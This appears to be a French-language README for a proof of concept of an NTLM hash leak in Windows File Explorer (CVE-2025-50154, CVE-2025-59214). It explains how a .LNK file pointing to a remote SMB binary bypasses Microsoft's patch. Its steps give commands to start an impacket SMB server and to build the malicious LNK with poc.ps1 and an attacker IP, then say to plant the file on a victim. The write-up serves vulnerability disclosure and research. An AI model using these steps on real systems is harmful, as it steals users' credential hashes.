CVE-2025-50154, CVE-2025-59214

Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure

Par Ruben Enkaoua et Cymulate

Premier blog : Zero Click, One NTLM : Contournement du correctif de sécurité Microsoft (CVE-2025-50154)

Deuxième blog : Corrigé deux fois, toujours contourné : Nouvelle fuite NTLM (Contournement du correctif CVE-2025-50154)

Description

Alors que Microsoft a publié un correctif de sécurité traitant d'une vulnérabilité de divulgation de hachage NTLM basée sur une icône, j'ai découvert un contournement qui permet toujours à un attaquant de récupérer des hachages NTLMv2-SSP sans interaction de l'utilisateur.

La vulnérabilité d'origine, récemment corrigée, était une divulgation de hachage NTLM sans clic (0-click) déclenchée lorsque explorer.exe rendait l'icône d'un fichier raccourci .LNK dont l'icône était hébergée sur un serveur SMB distant.
Après le correctif, explorer.exe ne charge plus les icônes provenant de chemins SMB distants, empêchant ainsi la divulgation automatique des hachages NTLM.

Mise à jour : Le correctif pour CVE-2025-50154 n'a pas du tout fonctionné. Nous l'avons signalé, et un nouveau CVE a été attribué à la vulnérabilité : CVE-2025-59214. La preuve de concept (POC) est valable pour les deux CVE.

En créant un fichier .LNK avec :

• Icône par défaut provenant de shell32.dll
  
• Chemin cible pointant vers un fichier binaire distant hébergé sur un serveur SMB
  
  

Le processus explorer.exe va tout de même récupérer le fichier distant pour extraire l'icône PE de ses ressources RT_GROUP_ICON et RT_ICON.

Étapes

Démarrez un serveur responder sur votre serveur

# put the binary (for example Taskmgr.exe) in the directory and run the SMB server.
impacket-smbserver share . -smb2support

Créez un LNK malveillant avec PowerShell, sur une machine différente, puis déposez-le sur la victime (téléchargement malveillant, upload SMB...)

# Remplacez les valeurs par le chemin, l'IP du serveur responder et le nom du fichier sur le serveur. Note : cela peut prendre 20 à 30 secondes.
.\poc.ps1 -path "C:\users\user\desktop" -ip "<serverIP>" -share "<share>" -file "<payload.exe>"

Le processus explorer.exe va rendre l'icône en téléchargeant automatiquement le fichier, à la recherche des en-têtes RT_ICON et RT_GROUP_ICON dans la section .rsrc

Remarques

Ce code est uniquement destiné à des fins éducatives et de recherche.
L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code.